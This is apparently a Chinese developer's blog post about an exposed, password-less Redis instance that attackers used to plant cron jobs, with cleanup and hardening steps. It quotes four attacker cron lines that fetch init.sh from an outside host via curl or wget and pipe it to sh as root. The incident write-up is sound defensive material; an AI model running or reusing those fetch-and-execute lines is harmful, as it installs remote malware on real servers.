问题描述
搞自己项目的时候,在云服务器上部署了redis,没有设密码,结果用了几天发现数据老是丢失,排查了过期时间以及内存大小都没有问题,然后注意到了几个陌生的backup1、buckup2、backup3、backup4数据:
backup1: */2 * * * * root cd1 -fsSL http://pyats.top/3nFTk7/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://pyats.top/3nFTk7/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.122.25/3nFTk7/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.122.25/3nFTk7/init.sh | sh
刚开始以为是redis自带的东西,管理数据备份啥的,之后在网上查了查才发现,是被网络攻击了,看来网络攻击还是离我们很近的,要提高安全意识。
上面都是些定时任务,分别在2分钟、3分钟、4分钟、5分钟下载 init.sh 脚本并执行。
解决方法:
- 删除这些数据
- 为redis设置密码
- 重启redis服务
防御手段:
- 修改redis暴露的端口,添加用户名和密码认证
- 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器
- 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 127.0.0.1" ,可以设置成只对特定ip监听